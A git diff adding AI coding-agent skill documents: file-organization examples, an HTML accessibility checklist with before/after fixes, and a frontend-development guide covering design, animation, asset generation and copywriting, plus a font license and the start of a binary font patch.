+# Analysis of ~/Projects + +## Current Structure Issues +- Mix of active and archived projects (3+ years old) +- No consistent naming convention +- Some projects at root, others in random subfolders +- Duplicate folders (project-name, project-name-old, project-name-v2) + +## Proposed Structure + +``` +Projects/ +├── Active/ +│ ├── client-work/ +│ ├── side-projects/ +│ └── learning/ +├── Archive/ +│ ├── 2022/ +│ ├── 2023/ +│ └── 2024/ +└── Templates/ +``` + +## Specific Changes +1. Move 12 projects not touched since 2022 → Archive/ +2. Consolidate 4 duplicate project folders +3. Rename projects to consistent format: "client-name-project-name" +4. Create Archive for old work + +Want me to implement this? +``` + +### Example 4: Organizing Photos by Date + +**User**: "Organize my photo folders by year and month." + +**Output**: Creates structure like: +``` +Photos/ +├── 2023/ +│ ├── 01-January/ +│ ├── 02-February/ +│ └── ... +├── 2024/ +│ ├── 01-January/ +│ └── ... +└── Unsorted/ +``` + +Then moves photos based on EXIF data or file modification dates. + +## Common Organization Tasks + +### Downloads Cleanup +``` +Organize my Downloads folder - move documents to Documents, +images to Pictures, keep installers separate, and archive files +older than 3 months. +``` + +### Project Organization +``` +Review my Projects folder structure and help me separate active +projects from old ones I should archive. +``` + +### Duplicate Removal +``` +Find all duplicate files in my Documents folder and help me +decide which ones to keep. +``` + +### Desktop Cleanup +``` +My Desktop is covered in files. Help me organize everything into +my Documents folder properly. +``` + +### Photo Organization +``` +Organize all photos in this folder by date (year/month) based +on when they were taken. +``` + +### Work/Personal Separation +``` +Help me separate my work files from personal files across my +Documents folder. +``` + +## Pro Tips + +1. **Start Small**: Begin with one messy folder (like Downloads) to build trust +2. **Regular Maintenance**: Run weekly cleanup on Downloads +3. **Consistent Naming**: Use "YYYY-MM-DD - Description" format for important files +4. **Archive Aggressively**: Move old projects to Archive instead of deleting +5. **Keep Active Separate**: Maintain clear boundaries between active and archived work +6. **Trust the Process**: Let OpenCode handle the cognitive load of where things go + +## Best Practices + +### Folder Naming +- Use clear, descriptive names +- Avoid spaces (use hyphens or underscores) +- Be specific: "client-proposals" not "docs" +- Use prefixes for ordering: "01-current", "02-archive" + +### File Naming +- Include dates: "2024-10-17-meeting-notes.md" +- Be descriptive: "q3-financial-report.xlsx" +- Avoid version numbers in names (use version control instead) +- Remove download artifacts: "document-final-v2 (1).pdf" → "document.pdf" + +### When to Archive +- Projects not touched in 6+ months +- Completed work that might be referenced later +- Old versions after migration to new systems +- Files you're hesitant to delete (archive first) + +## Related Use Cases + +- Setting up organization for a new computer +- Preparing files for backup/archiving +- Cleaning up before storage cleanup +- Organizing shared team folders +- Structuring new project directories + diff --git a/skills/fixing-accessibility/SKILL.md b/skills/fixing-accessibility/SKILL.md new file mode 100644 index 0000000..0ae13ef --- /dev/null +++ b/skills/fixing-accessibility/SKILL.md @@ -0,0 +1,137 @@ +--- +name: fixing-accessibility +description: Audit and fix HTML accessibility issues including ARIA labels, keyboard navigation, focus management, color contrast, and form errors. Use when adding interactive controls, forms, dialogs, or reviewing WCAG compliance. +risk: unknown +source: community +--- + +# fixing-accessibility + +Fix accessibility issues. + +## how to use + +- `/fixing-accessibility` + Apply these constraints to any UI work in this conversation. + +- `/fixing-accessibility <file>` + Review the file against all rules below and report: + - violations (quote the exact line or snippet) + - why it matters (one short sentence) + - a concrete fix (code-level suggestion) + +Do not rewrite large parts of the UI. Prefer minimal, targeted fixes. + +## When to Use +Reference these guidelines when: +- adding or changing buttons, links, inputs, menus, dialogs, tabs, dropdowns +- building forms, validation, error states, helper text +- implementing keyboard shortcuts or custom interactions +- working on focus states, focus trapping, or modal behavior +- rendering icon-only controls +- adding hover-only interactions or hidden content + +## rule categories by priority + +| priority | category | impact | +|----------|----------|--------| +| 1 | accessible names | critical | +| 2 | keyboard access | critical | +| 3 | focus and dialogs | critical | +| 4 | semantics | high | +| 5 | forms and errors | high | +| 6 | announcements | medium-high | +| 7 | contrast and states | medium | +| 8 | media and motion | low-medium | +| 9 | tool boundaries | critical | + +## quick reference + +### 1. accessible names (critical) + +- every interactive control must have an accessible name +- icon-only buttons must have aria-label or aria-labelledby +- every input, select, and textarea must be labeled +- links must have meaningful text (no “click here”) +- decorative icons must be aria-hidden + +### 2. keyboard access (critical) + +- do not use div or span as buttons without full keyboard support +- all interactive elements must be reachable by Tab +- focus must be visible for keyboard users +- do not use tabindex greater than 0 +- Escape must close dialogs or overlays when applicable + +### 3. focus and dialogs (critical) + +- modals must trap focus while open +- restore focus to the trigger on close +- set initial focus inside dialogs +- opening a dialog should not scroll the page unexpectedly + +### 4. semantics (high) + +- prefer native elements (button, a, input) over role-based hacks +- if a role is used, required aria attributes must be present +- lists must use ul or ol with li +- do not skip heading levels +- tables must use th for headers when applicable + +### 5. forms and errors (high) + +- errors must be linked to fields using aria-describedby +- required fields must be announced +- invalid fields must set aria-invalid +- helper text must be associated with inputs +- disabled submit actions must explain why + +### 6. announcements (medium-high) + +- critical form errors should use aria-live +- loading states should use aria-busy or status text +- toasts must not be the only way to convey critical information +- expandable controls must use aria-expanded and aria-controls + +### 7. contrast and states (medium) + +- ensure sufficient contrast for text and icons +- hover-only interactions must have keyboard equivalents +- disabled states must not rely on color alone +- do not remove focus outlines without a visible replacement + +### 8. media and motion (low-medium) + +- images must have correct alt text (meaningful or empty) +- videos with speech should provide captions when relevant +- respect prefers-reduced-motion for non-essential motion +- avoid autoplaying media with sound + +### 9. tool boundaries (critical) + +- prefer minimal changes, do not refactor unrelated code +- do not add aria when native semantics already solve the problem +- do not migrate UI libraries unless requested + +## common fixes + +```html +<!-- icon-only button: add aria-label --> +<!-- before --> <button><svg>...</svg></button> +<!-- after --> <button aria-label="Close"><svg aria-hidden="true">...</svg></button> + +<!-- div as button: use native element --> +<!-- before --> <div onclick="save()">Save</div> +<!-- after --> <button onclick="save()">Save</button> + +<!-- form error: link with aria-describedby --> +<!-- before --> <input id="email" /> <span>Invalid email</span> +<!-- after --> <input id="email" aria-describedby="email-err" aria-invalid="true" /> <span id="email-err">Invalid email</span> +``` + +## review guidance + +- fix critical issues first (names, keyboard, focus, tool boundaries) +- prefer native HTML before adding aria +- quote the exact snippet, state the failure, propose a small fix +- for complex widgets (menu, dialog, combobox), prefer established accessible primitives over custom behavior \ No newline at end of file diff --git a/skills/frontend-dev/SKILL.md b/skills/frontend-dev/SKILL.md new file mode 100644 index 0000000..8856972 --- /dev/null +++ b/skills/frontend-dev/SKILL.md @@ -0,0 +1,567 @@ +--- +name: frontend-dev +description: | + Full-stack frontend development combining premium UI design, cinematic animations, + AI-generated media assets, persuasive copywriting, and visual art. Builds complete, + visually striking web pages with real media, advanced motion, and compelling copy. + Use when: building landing pages, marketing sites, product pages, dashboards, + generating media assets (image/video/audio/music), writing conversion copy, + creating generative art, or implementing cinematic scroll animations. +license: MIT +metadata: + version: "1.0.0" + category: frontend + sources: + - Framer Motion documentation + - GSAP / GreenSock documentation + - Three.js documentation + - Tailwind CSS documentation + - React / Next.js documentation + - AIDA Framework (Elmo Lewis) + - p5.js documentation +--- + +# Frontend Studio + +Build complete, production-ready frontend pages by orchestrating 5 specialized capabilities: design engineering, motion systems, AI-generated assets, persuasive copy, and generative art. + +## Invocation + +``` +/frontend-dev <request> +``` + +The user provides their request as natural language (e.g. "build a landing page for a music streaming app"). + +## Skill Structure + +``` +frontend-dev/ +├── SKILL.md # Core skill (this file) +├── scripts/ # Asset generation scripts +│ ├── minimax_tts.py # Text-to-speech +│ ├── minimax_music.py # Music generation +│ ├── minimax_video.py # Video generation (async) +│ └── minimax_image.py # Image generation +├── references/ # Detailed guides (read as needed) +│ ├── minimax-cli-reference.md # CLI flags quick reference +│ ├── asset-prompt-guide.md # Asset prompt engineering rules +│ ├── minimax-tts-guide.md # TTS usage & voices +│ ├── minimax-music-guide.md # Music prompts & lyrics format +│ ├── minimax-video-guide.md # Camera commands & models +│ ├── minimax-image-guide.md # Ratios & batch generation +│ ├── minimax-voice-catalog.md # All voice IDs +│ ├── motion-recipes.md # Animation code snippets +│ ├── env-setup.md # Environment setup +│ └── troubleshooting.md # Common issues +├── templates/ # Visual art templates +│ ├── viewer.html # p5.js interactive art base +│ └── generator_template.js # p5.js code reference +└── canvas-fonts/ # Static art fonts (TTF + licenses) +``` + +## Project Structure + +### Assets (Universal) + +All frameworks use the same asset organization: + +``` +assets/ +├── images/ +│ ├── hero-landing-1710xxx.webp +│ ├── icon-feature-01.webp +│ └── bg-pattern.svg +├── videos/ +│ ├── hero-bg-1710xxx.mp4 +│ └── demo-preview.mp4 +└── audio/ + ├── bgm-ambient-1710xxx.mp3 + └── tts-intro-1710xxx.mp3 +``` + +**Asset naming:** `{type}-{descriptor}-{timestamp}.{ext}` + +### By Framework + +| Framework | Asset Location | Component Location | +|-----------|---------------|-------------------| +| **Pure HTML** | `./assets/` | N/A (inline or `./js/`) | +| **React/Next.js** | `public/assets/` | `src/components/` | +| **Vue/Nuxt** | `public/assets/` | `src/components/` | +| **Svelte/SvelteKit** | `static/assets/` | `src/lib/components/` | +| **Astro** | `public/assets/` | `src/components/` | + +### Pure HTML + +``` +project/ +├── index.html +├── assets/ +│ ├── images/ +│ ├── videos/ +│ └── audio/ +├── css/ +│ └── styles.css +└── js/ + └── main.js # Animations (GSAP/vanilla) +``` + +### React / Next.js + +``` +project/ +├── public/assets/ # Static assets +├── src/ +│ ├── components/ +│ │ ├── ui/ # Button, Card, Input +│ │ ├── sections/ # Hero, Features, CTA +│ │ └── motion/ # RevealSection, StaggerGrid +│ ├── lib/ +│ ├── styles/ +│ └── app/ # Pages +└── package.json +``` + +### Vue / Nuxt + +``` +project/ +├── public/assets/ +├── src/ # or root for Nuxt +│ ├── components/ +│ │ ├── ui/ +│ │ ├── sections/ +│ │ └── motion/ +│ ├── composables/ # Shared logic +│ ├── pages/ +│ └── assets/ # Processed assets (optional) +└── package.json +``` + +### Astro + +``` +project/ +├── public/assets/ +├── src/ +│ ├── components/ # .astro, .tsx, .vue, .svelte +│ ├── layouts/ +│ ├── pages/ +│ └── styles/ +└── package.json +``` + +**Component naming:** PascalCase (`HeroSection.tsx`, `HeroSection.vue`, `HeroSection.astro`) + +--- + +## Compliance + +**All rules in this skill are mandatory. Violating any rule is a blocking error — fix before proceeding or delivering.** + +--- + +## Workflow +### Phase 1: Design Architecture +1. Analyze the request — determine page type and context +2. Set design dials based on page type +3. Plan layout sections and identify asset needs + +### Phase 2: Motion Architecture +1. Select animation tools per section (see Tool Selection Matrix) +2. Plan motion sequences following performance guardrails + +### Phase 3: Asset Generation +Generate all image/video/audio assets using `scripts/`. NEVER use placeholder URLs (unsplash, picsum, placeholder.com, via.placeholder, placehold.co, etc.) or external URLs. + +1. Parse asset requirements (type, style, spec, usage) +2. Craft optimized prompts, show to user, confirm before generating +3. Execute via scripts, save to project — do NOT proceed to Phase 5 until all assets are saved locally + +### Phase 4: Copywriting & Content +Follow copywriting frameworks (AIDA, PAS, FAB) to craft all text content. Do NOT use "Lorem ipsum" — write real copy. + +### Phase 5: Build UI +Scaffold the project and build each section following Design and Motion rules. Integrate generated assets and copy. All `<img>`, `<video>`, `<source>`, and CSS `background-image` MUST reference local assets from Phase 3. + +### Phase 6: Quality Gates +Run final checklist (see Quality Gates section). + +--- + +# 1. Design Engineering + +## 1.1 Baseline Configuration + +| Dial | Default | Range | +|------|---------|-------| +| DESIGN_VARIANCE | 8 | 1=Symmetry, 10=Asymmetric | +| MOTION_INTENSITY | 6 | 1=Static, 10=Cinematic | +| VISUAL_DENSITY | 4 | 1=Airy, 10=Packed | + +Adapt dynamically based on user requests. + +## 1.2 Architecture Conventions +- **DEPENDENCY VERIFICATION:** Check `package.json` before importing any library. Output install command if missing. +- **Framework:** React/Next.js. Default to Server Components. Interactive components must be isolated `"use client"` leaf components. +- **Styling:** Tailwind CSS. Check version in `package.json` — NEVER mix v3/v4 syntax. +- **ANTI-EMOJI POLICY:** NEVER use emojis anywhere. Use Phosphor or Radix icons only. +- **Viewport:** Use `min-h-[100dvh]` not `h-screen`. Use CSS Grid not flex percentage math. +- **Layout:** `max-w-[1400px] mx-auto` or `max-w-7xl`. + +## 1.3 Design Rules +| Rule | Directive | +|------|-----------| +| Typography | Headlines: `text-4xl md:text-6xl tracking-tighter`. Body: `text-base leading-relaxed max-w-[65ch]`. **NEVER** use Inter — use Geist/Outfit/Satoshi. **NEVER** use Serif on dashboards. | +| Color | Max 1 accent, saturation < 80%. **NEVER** use AI purple/blue. Stick to one palette. | +| Layout | **NEVER** use centered heroes when VARIANCE > 4. Force split-screen or asymmetric layouts. | +| Cards | **NEVER** use generic cards when DENSITY > 7. Use `border-t`, `divide-y`, or spacing. | +| States | **ALWAYS** implement: Loading (skeleton), Empty, Error, Tactile feedback (`scale-[0.98]`). | +| Forms | Label above input. Error below. `gap-2` for input blocks. | + +## 1.4 Anti-Slop Techniques + +- **Liquid Glass:** `backdrop-blur` + `border-white/10` + `shadow-[inset_0_1px_0_rgba(255,255,255,0.1)]` +- **Magnetic Buttons:** Use `useMotionValue`/`useTransform` — never `useState` for continuous animations +- **Perpetual Motion:** When INTENSITY > 5, add infinite micro-animations (Pulse, Float, Shimmer) +- **Layout Transitions:** Use Framer `layout` and `layoutId` props +- **Stagger:** Use `staggerChildren` or CSS `animation-delay: calc(var(--index) * 100ms)` + +## 1.5 Forbidden Patterns +| Category | Banned | +|----------|--------| +| Visual | Neon glows, pure black (#000), oversaturated accents, gradient text on headers, custom cursors | +| Typography | Inter font, oversized H1s, Serif on dashboards | +| Layout | 3-column equal card rows, floating elements with awkward gaps | +| Components | Default shadcn/ui without customization | + +## 1.6 Creative Arsenal + +| Category | Patterns | +|----------|----------| +| Navigation | Dock magnification, Magnetic button, Gooey menu, Dynamic island, Radial menu, Speed dial, Mega menu | +| Layout | Bento grid, Masonry, Chroma grid, Split-screen scroll, Curtain reveal | +| Cards | Parallax tilt, Spotlight border, Glassmorphism, Holographic foil, Swipe stack, Morphing modal | +| Scroll | Sticky stack, Horizontal hijack, Locomotive sequence, Zoom parallax, Progress path, Liquid swipe | +| Gallery | Dome gallery, Coverflow, Drag-to-pan, Accordion slider, Hover trail, Glitch effect | +| Text | Kinetic marquee, Text mask reveal, Scramble effect, Circular path, Gradient stroke, Kinetic grid | +| Micro | Particle explosion, Pull-to-refresh, Skeleton shimmer, Directional hover, Ripple click, SVG draw, Mesh gradient, Lens blur | + +## 1.7 Bento Paradigm + +- **Palette:** Background `#f9fafb`, cards pure white with `border-slate-200/50` +- **Surfaces:** `rounded-[2.5rem]`, diffusion shadow +- **Typography:** Geist/Satoshi, `tracking-tight` headers +- **Labels:** Outside and below cards +- **Animation:** Spring physics (`stiffness: 100, damping: 20`), infinite loops, `React.memo` isolation + +**5-Card Archetypes:** +1. Intelligent List — auto-sorting with `layoutId` +2. Command Input — typewriter + blinking cursor +3. Live Status — breathing indicators +4. Wide Data Stream — infinite horizontal carousel +5. Contextual UI — staggered highlight + float-in toolbar + +## 1.8 Brand Override + +When brand styling is active: +- Dark: `#141413`, Light: `#faf9f5`, Mid: `#b0aea5`, Subtle: `#e8e6dc` +- Accents: Orange `#d97757`, Blue `#6a9bcc`, Green `#788c5d` +- Fonts: Poppins (headings), Lora (body) + +--- + +# 2. Motion Engine + +## 2.1 Tool Selection Matrix + +| Need | Tool | +|------|------| +| UI enter/exit/layout | **Framer Motion** — `AnimatePresence`, `layoutId`, springs | +| Scroll storytelling (pin, scrub) | **GSAP + ScrollTrigger** — frame-accurate control | +| Looping icons | **Lottie** — lazy-load (~50KB) | +| 3D/WebGL | **Three.js / R3F** — isolated `<Canvas>`, own `"use client"` boundary | +| Hover/focus states | **CSS only** — zero JS cost | +| Native scroll-driven | **CSS** — `animation-timeline: scroll()` | + +**Conflict Rules [MANDATORY]:** +- NEVER mix GSAP + Framer Motion in same component +- R3F MUST live in isolated Canvas wrapper +- ALWAYS lazy-load Lottie, GSAP, Three.js + +## 2.2 Intensity Scale + +| Level | Techniques | +|-------|------------| +| 1-2 Subtle | CSS transitions only, 150-300ms | +| 3-4 Smooth | CSS keyframes + Framer animate, stagger ≤3 items | +| 5-6 Fluid | `whileInView`, magnetic hover, parallax tilt | +| 7-8 Cinematic | GSAP ScrollTrigger, pinned sections, horizontal hijack | +| 9-10 Immersive | Full scroll sequences, Three.js particles, WebGL shaders | + +## 2.3 Animation Recipes + +See `references/motion-recipes.md` for full code. Summary: + +| Recipe | Tool | Use For | +|--------|------|---------| +| Scroll Reveal | Framer | Fade+slide on viewport entry | +| Stagger Grid | Framer | Sequential list animations | +| Pinned Timeline | GSAP | Horizontal scroll with pinning | +| Tilt Card | Framer | Mouse-tracking 3D perspective | +| Magnetic Button | Framer | Cursor-attracted buttons | +| Text Scramble | Vanilla | Matrix-style decode effect | +| SVG Path Draw | CSS | Scroll-linked path animation | +| Horizontal Scroll | GSAP | Vertical-to-horizontal hijack | +| Particle Background | R3F | Decorative WebGL particles | +| Layout Morph | Framer | Card-to-modal expansion | + +## 2.4 Performance Rules +**GPU-only properties (ONLY animate these):** `transform`, `opacity`, `filter`, `clip-path` + +**NEVER animate:** `width`, `height`, `top`, `left`, `margin`, `padding`, `font-size` — if you need these effects, use `transform: scale()` or `clip-path` instead. + +**Isolation:** +- Perpetual animations MUST be in `React.memo` leaf components +- `will-change: transform` ONLY during animation +- `contain: layout style paint` on heavy containers + +**Mobile:** +- ALWAYS respect `prefers-reduced-motion` +- ALWAYS disable parallax/3D on `pointer: coarse` +- Cap particles: desktop 800, tablet 300, mobile 100 +- Disable GSAP pin on mobile < 768px + +**Cleanup:** Every `useEffect` with GSAP/observers MUST `return () => ctx.revert()` + +## 2.5 Springs & Easings + +| Feel | Framer Config | +|------|---------------| +| Snappy | `stiffness: 300, damping: 30` | +| Smooth | `stiffness: 150, damping: 20` | +| Bouncy | `stiffness: 100, damping: 10` | +| Heavy | `stiffness: 60, damping: 20` | + +| CSS Easing | Value | +|------------|-------| +| Smooth decel | `cubic-bezier(0.16, 1, 0.3, 1)` | +| Smooth accel | `cubic-bezier(0.7, 0, 0.84, 0)` | +| Elastic | `cubic-bezier(0.34, 1.56, 0.64, 1)` | + +## 2.6 Accessibility +- ALWAYS wrap motion in `prefers-reduced-motion` check +- NEVER flash content > 3 times/second (seizure risk) +- ALWAYS provide visible focus rings (use `outline` not `box-shadow`) +- ALWAYS add `aria-live="polite"` for dynamically revealed content +- ALWAYS include pause button for auto-playing animations + +## 2.7 Dependencies + +```bash +npm install framer-motion # UI (keep at top level) +npm install gsap # Scroll (lazy-load) +npm install lottie-react # Icons (lazy-load) +npm install three @react-three/fiber @react-three/drei # 3D (lazy-load) +``` + +--- + +# 3. Asset Generation + +## 3.1 Scripts + +| Type | Script | Pattern | +|------|--------|---------| +| TTS | `scripts/minimax_tts.py` | Sync | +| Music | `scripts/minimax_music.py` | Sync | +| Video | `scripts/minimax_video.py` | Async (create → poll → download) | +| Image | `scripts/minimax_image.py` | Sync | + +Env: `MINIMAX_API_KEY` (required). + +## 3.2 Workflow +1. **Parse:** type, quantity, style, spec, usage +2. **Craft prompt:** Be specific (composition, lighting, style). **NEVER** include text in image prompts. +3. **Execute:** Show prompt to user, **MUST confirm before generating**, then run script +4. **Save:** `<project>/public/assets/{images,videos,audio}/` as `{type}-{descriptor}-{timestamp}.{ext}` — **MUST save locally** +5. **Post-process:** Images → WebP, Videos → ffmpeg compress, Audio → normalize +6. **Deliver:** File path + code snippet + CSS suggestion + +## 3.3 Preset Shortcuts + +| Shortcut | Spec | +|----------|------| +| `hero` | 16:9, cinematic, text-safe | +| `thumb` | 1:1, centered subject | +| `icon` | 1:1, flat, clean background | +| `avatar` | 1:1, portrait, circular crop ready | +| `banner` | 21:9, OG/social | +| `bg-video` | 768P, 6s, `[Static shot]` | +| `video-hd` | 1080P, 6s | +| `bgm` | 30s, no vocals, loopable | +| `tts` | MiniMax HD, MP3 | + +## 3.4 Reference + +- `references/minimax-cli-reference.md` — CLI flags +- `references/asset-prompt-guide.md` — Prompt rules +- `references/minimax-voice-catalog.md` — Voice IDs +- `references/minimax-tts-guide.md` — TTS usage +- `references/minimax-music-guide.md` — Music generation (prompts, lyrics, structure tags) +- `references/minimax-video-guide.md` — Camera commands +- `references/minimax-image-guide.md` — Ratios, batch + +--- + +# 4. Copywriting + +## 4.1 Core Job + +1. Grab attention → 2. Create desire → 3. Remove friction → 4. Prompt action + +## 4.2 Frameworks + +**AIDA** (landing pages, emails): +``` +ATTENTION: Bold headline (promise or pain) +INTEREST: Elaborate problem ("yes, that's me") +DESIRE: Show transformation +ACTION: Clear CTA +``` + +**PAS** (pain-driven products): +``` +PROBLEM: State clearly +AGITATE: Make urgent +SOLUTION: Your product +``` + +**FAB** (product differentiation): +``` +FEATURE: What it does +ADVANTAGE: Why it matters +BENEFIT: What customer gains +``` + +## 4.3 Headlines + +| Formula | Example | +|---------|---------| +| Promise | "Double open rates in 30 days" | +| Question | "Still wasting 10 hours/week?" | +| How-To | "How to automate your pipeline" | +| Number | "7 mistakes killing conversions" | +| Negative | "Stop losing leads" | +| Curiosity | "The one change that tripled bookings" | +| Transformation | "From 50 to 500 leads" | + +Be specific. Lead with outcome, not method. + +## 4.4 CTAs + +**Bad:** Submit, Click here, Learn more + +**Good:** "Start my free trial", "Get the template now", "Book my strategy call" + +**Formula:** [Action Verb] + [What They Get] + [Urgency/Ease] + +Place: above fold, after value, multiple on long pages. + +## 4.5 Emotional Triggers + +| Trigger | Example | +|---------|---------| +| FOMO | "Only 3 spots left" | +| Fear of loss | "Every day without this, you're losing $X" | +| Status | "Join 10,000+ top agencies" | +| Ease | "Set it up once. Forget forever." | +| Frustration | "Tired of tools that deliver nothing?" | +| Hope | "Yes, you CAN hit $10K MRR" | + +## 4.6 Objection Handling + +| Objection | Response | +|-----------|----------| +| Too expensive | Show ROI: "Pays for itself in 2 weeks" | +| Won't work for me | Social proof from similar customer | +| No time | "Setup takes 10 minutes" | +| What if it fails | "30-day money-back guarantee" | +| Need to think | Urgency/scarcity | + +Place in FAQ, testimonials, near CTA. + +## 4.7 Proof Types + +Testimonials (with name/title), Case studies, Data/metrics, Social proof, Certifications + +--- + +# 5. Visual Art + +Philosophy-first workflow. Two output modes. + +## 5.1 Output Modes + +| Mode | Output | When | +|------|--------|------| +| Static | PDF/PNG | Posters, print, design assets | +| Interactive | HTML (p5.js) | Generative art, explorable variations | + +## 5.2 Workflow + +### Step 1: Philosophy Creation +Name the movement (1-2 words). Articulate philosophy (4-6 paragraphs) covering: +- Static: space, form, color, scale, rhythm, hierarchy +- Interactive: computation, emergence, noise, parametric variation + +### Step 2: Conceptual Seed +Identify subtle, niche reference — sophisticated, not literal. Jazz musician quoting another song. + +### Step 3: Creation + +**Static Mode:** +- Single page, highly visual, design-forward +- Repeating patterns, perfect shapes +- Sparse typography from `canvas-fonts/` +- Nothing overlaps, proper margins +- Output: `.pdf` or `.png` + philosophy `.md` + +**Interactive Mode:** +1. Read `templates/viewer.html` first +2. Keep FIXED sections (header, sidebar, seed controls) +3. Replace VARIABLE sections (algorithm, parameters) +4. Seeded randomness: `randomSeed(seed); noiseSeed(seed);` +5. Output: single self-contained HTML + +### Step 4: Refinement +Refine, don't add. Make it crisp. Polish into masterpiece. + +--- + +# Quality Gates +**Design:** +- [ ] Mobile layout collapse (`w-full`, `px-4`) for high-variance designs +- [ ] `min-h-[100dvh]` not `h-screen` +- [ ] Empty, loading, error states provided +- [ ] Cards omitted where spacing suffices + +**Motion:** +- [ ] Correct tool per selection matrix +- [ ] No GSAP + Framer mixed in same component +- [ ] All `useEffect` have cleanup returns +- [ ] `prefers-reduced-motion` respected +- [ ] Perpetual animations in `React.memo` leaf components +- [ ] Only GPU properties animated +- [ ] Heavy libraries lazy-loaded + +**General:** +- [ ] Dependencies verified in `package.json` +- [ ] **No placeholder URLs** — grep the output for `unsplash`, `picsum`, `placeholder`, `placehold`, `via.placeholder`, `lorem.space`, `dummyimage`. If ANY found, STOP and replace with generated assets before delivering. +- [ ] **All media assets exist as local files** in the project's assets directory +- [ ] Asset prompts confirmed with user before generation + +--- + +*React and Next.js are trademarks of Meta Platforms, Inc. and Vercel, Inc., respectively. Vue.js is a trademark of Evan You. Tailwind CSS is a trademark of Tailwind Labs Inc. Svelte and SvelteKit are trademarks of their respective owners. GSAP/GreenSock is a trademark of GreenSock Inc. Three.js, Framer Motion, Lottie, Astro, and all other product names are trademarks of their respective owners.* diff --git a/skills/frontend-dev/canvas-fonts/ArsenalSC-OFL.txt b/skills/frontend-dev/canvas-fonts/ArsenalSC-OFL.txt new file mode 100644 index 0000000..1dad6ca --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/ArsenalSC-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2012 The Arsenal Project Authors (andrij.design@gmail.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/ArsenalSC-Regular.ttf b/skills/frontend-dev/canvas-fonts/ArsenalSC-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..fe5409b22e6b22a0ce80c65bdbb333d7d96e7a6a GIT binary patch literal 165848 zcmeFa2|$%a_dh<%<+AUK3W^tT2l29lJD0^>aR*HW0Rcro7S}Yl)YPnO(_FH$G_|^D zi<#w;nOc#hrMabO(n2a)WLfh2%sg}9g7&_>+wc4Te}69zXSQdSGiPSboO$j!&qF97 z#2t=~xb;p*OnR)t%Hf3Y)r7Edy^{wIi_zC|Lh|k>B>eu~!$z3)?AiV#AyL-}@mMf; zSm!X`&l2YnLN}t8w2Ud~g(nC8^Z_CEw+OLamocrxVE?WEKGcQVWXHt9>?spE+sq@R z*?ok#IAy077b4va<(tE|%g&oQG4IHF)cx!&LMzYbWTj`eIP~cz+|R-Ns2n6XtaoaU zcmm?BbEcHc*fL}HD}=Peeb=RV1sUldJu~DPbm$4Re`rejj6(eaw|&Up8u<<R=~J>Y zofowu#0L2BJB0<sC0{+V^dcdBO9%<HD=f+?92i@)6!^Z5{1*u&w6>PG!Y90fK1-a* z6k>zUj3Y0Shf(XZE>47tT)6*jEjnr2wf3bu0k%&3Ta>r@;}s$gN}7y?!NKEQyZuaD zwLD);n^`I{R?PB<LfH!_`xByijbsSvm?M1@trE73r6As4^XWJeMuQQr``buZK{DAl z+mbLaHEA%}N62la;imJV!*K6uai9LgmccUs`+xjz5E(>*NiYST^iFLJVs&vX1!)6u zA&+Q9<g3-O$7^du?mNF*-(#QF-$huvpFk2wJJOE2)aq%IJ9iM1adwqlVKwAD5bnQ= z93GldM(N5_Gkx2R*pZCFGGc3bi;$$K_8?wI5$okLOxIu6)vl9mppBnS@1PP#vB4}} 